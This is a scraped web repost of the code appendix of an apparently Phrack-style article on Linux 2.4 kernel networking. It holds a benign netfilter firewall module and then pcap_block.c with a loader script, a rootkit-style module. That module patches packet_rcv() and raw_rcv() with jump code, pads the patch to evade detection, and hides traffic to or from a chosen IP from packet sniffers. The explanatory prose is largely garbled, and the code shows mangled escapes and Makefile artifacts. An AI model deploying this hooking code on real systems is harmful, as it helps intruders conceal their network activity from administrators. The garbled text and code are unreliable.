#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <asm/errno.h>
#include <asm/uaccess.h>
#include "lwfw.h"
/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);
/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
              unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);
/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;
/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;
/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
                    | LWFW_IP_DENY_ACTIVE
                    | LWFW_PORT_DENY_ACTIVE);
static int major = 0;               /* Control device major number */
/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;
/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};
/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */
/* 
* This is the interface device's file_operations structure
*/
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL                   /* Will be NULL'ed from here... */
};
MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");
/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
               struct sk_buff **skb,
               const struct net_device *in,
               const struct net_device *out,
               int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
   
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
   
   lwfw_statistics.total_seen++;
   
   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
     lwfw_statistics.if_dropped++;
     lwfw_statistics.total_dropped++;
     return NF_DROP;
      }
   }
   
   /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
   
   return NF_ACCEPT;               /* We are happy to keep the packet */
}
/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);
   copy_to_user(statbuff, &lwfw_statistics,
        sizeof(struct lwfw_stats));
   
   return 0;
}
/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th. 
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
   
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }
   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}
/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
   
   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
      
      return NF_DROP;
   }
   
   return NF_ACCEPT;
}
static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;               /* Duplicate interface */
   
   /* Make sure the name is non-null */
   NULL_CHECK(name);
   
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
   
   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }
   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s/n", deny_if);
   
   return ret;
}
static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
   
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d/n",
      ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
      (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
   
   return 0;
}
static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
   
   printk("LWFW: Set to deny for TCP port: %d/n",
      ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
      
   return 0;
}
/*********************************************/
/* 
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
              unsigned int cmd, unsigned long arg)
{
   int ret = 0;
   
   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated./n");
       if (!deny_if && !deny_ip && !deny_port) {
      printk("LWFW: No deny options set./n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
       printk("LWFW: Deactivated./n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
       ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
       ret = set_ip_rule((unsigned int)arg);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule((unsigned short)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };
   
   return ret;
}
/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      MOD_INC_USE_COUNT;
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}
/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   MOD_DEC_USE_COUNT;
   return 0;
}
/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
   /* Register the control device, /dev/lwfw */
      SET_MODULE_OWNER(&lwfw_fops);
   
   /* Attempt to register the LWFW control device */
   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
                &lwfw_fops)) < 0) {
      printk("LWFW: Failed registering control device!/n");
      printk("LWFW: Module installation aborted./n");
      return major;
   }
   
   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   printk("/nLWFW: Control device successfully registered./n");
   
   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;               /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */
   
   /* And register... */
   nf_register_hook(&nfkiller);
   
   printk("LWFW: Network hooks successfully installed./n");
   
   printk("LWFW: Module installation successful./n");
   return 0;
}
void cleanup_module()
{
   int ret;
   
   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);
   /* Now unregister control device */
   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
      printk("LWFW: Removal of module failed!/n");
   }
   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);
   
   printk("LWFW: Removal of module successful./n");
}
<-->
----[ A.3 -     : lwfw.h
<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
* 
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
* 
* Written by bioforge  -  March 2003
*/
#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__
/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw" 
/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */
/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE
/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007
/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004
/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
   unsigned int if_dropped;           /* Packets dropped by interface rule */
   unsigned int ip_dropped;           /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;           /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};
/* 
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */
/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    /
   if ((ptr) == NULL)  return -EINVAL
/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)
#endif                       /* __KERNEL__ */
#endif
<-->
<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o
.c.o:
    $(CC) -c ___FCKpd___0lt; -o $@ $(CFLAGS)
all: $(OBJS)
clean:
    rm -rf *.o
    rm -rf ./*~
<-->
--[ B -  6      
              packet_rcv() raw_rcv()               IP           。   IP      127.0.0.1,        #define IP      。    bash  ,   System.map               ,                    insmod  。       grem  。     Mod-off  ,                  。     grem。
    
                   ,             。  ,                  ,                              。             ,                                     。                    Linux                    。
    
<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
* which is used to pass packets to  Libpcap applications
* that use  PACKET sockets.  Also  hijacks the raw_rcv()
* function. This is used to pass packets to applications
* that open RAW sockets.
* 
* Written by bioforge  -  30th June, 2003
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h>               /* For struct ip */
#include <linux/if_ether.h>           /* For ETH_P_IP */
#include <asm/page.h>               /* For PAGE_OFFSET */
/* 
* IP address to hide 127.0.0.1 in NBO for Intel */
#define IP    htonl(0x7F000001)
/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
          struct packet_type *pt);
MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */
/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");
/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;
/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, /
                         sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, /
                          sl_flags)
#define CODESIZE 10
/* Original and hijack code buffers.
* Note that the hijack code also provides 3 additional
* bytes ( inc eax;  nop;  dec eax ) to try and throw
* simple hijack detection techniques that just look for
* a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "/xb8/x00/x00/x00/x00"
                                      "/x40/x90/x48"
                                      "/xff/xe0";
static unsigned char pr_orig[CODESIZE];
/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "/xb8/x00/x00/x00/x00"
                                      "/x40/x90/x48"
                                      "/xff/xe0";
static unsigned char rr_orig[CODESIZE];
/* Replacement for packet_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
           struct packet_type *pt)
{
    int sl_flags;               /* Flags for spinlock */
    int retval;
    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
    return 0;            /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;
    return retval;
}
/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;               /* Flags for spinlock */
    int retval;
    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
    return 0;            /* Ignore this packet */
    
    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)rr, rr_orig, CODESIZE);
    retval = rr(sock, skb);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
    return retval;
}
int init_module()
{
    int sl_flags;               /* Flags for spinlock */
    
    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET
     * (which we treat as the lower bound of kernel memory), then
     * we will not install the hacks. */
    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
    printk("Address for packet_rcv() not valid! (%08x)/n",
           (int)pr);
    return -1;
    }
    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
    printk("Address for raw_rcv() not valid! (%08x)/n",
           (int)rr);
    return -1;
    }
         
    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;
    
    HIJACK_LOCK;
    memcpy(pr_orig, (char *)pr, CODESIZE);
    memcpy((char *)pr, pr_code, CODESIZE);
    memcpy(rr_orig, (char *)rr, CODESIZE);
    memcpy((char *)rr, rr_code, CODESIZE);
    HIJACK_UNLOCK;
    
    EXPORT_NO_SYMBOLS;
    
    return 0;
}
void cleanup_module()
{
    int sl_flags;
    
    lock_kernel();
    
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
    
    unlock_kernel();
}
<-->
<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003
if [ "$1" = "" ]; then
        echo "Use: $0 <System.map>";
        exit;
fi
MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`
if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi
echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"
# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->
<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o
.c.o:
    $(CC) -c ___FCKpd___0lt; -o $@ $(CFLAGS) $(INCLUDES)
all: $(OBJS)
clean:
    rm -rf *.o
    rm -rf ./*~
<-->
------[     
                     。
[1]  The tcpdump group
      http://www.tcpdump.org
[2]  The Packet Factory
      http://www.packetfactory.net
[3]  My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
[4]  Silvio Cesare's Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
[5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
[6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
     http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
     http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
     http://www.linuxjournal.com/article.php?sid=4852
|=[ EOF ]=---------------------------------------------------------------=| 
                이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
정수 반전Udemy 에서 공부 한 것을 중얼거린다 Chapter3【Integer Reversal】 (예) 문자열로 숫자를 반전 (toString, split, reverse, join) 인수의 수치 (n)가 0보다 위 또는 ...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.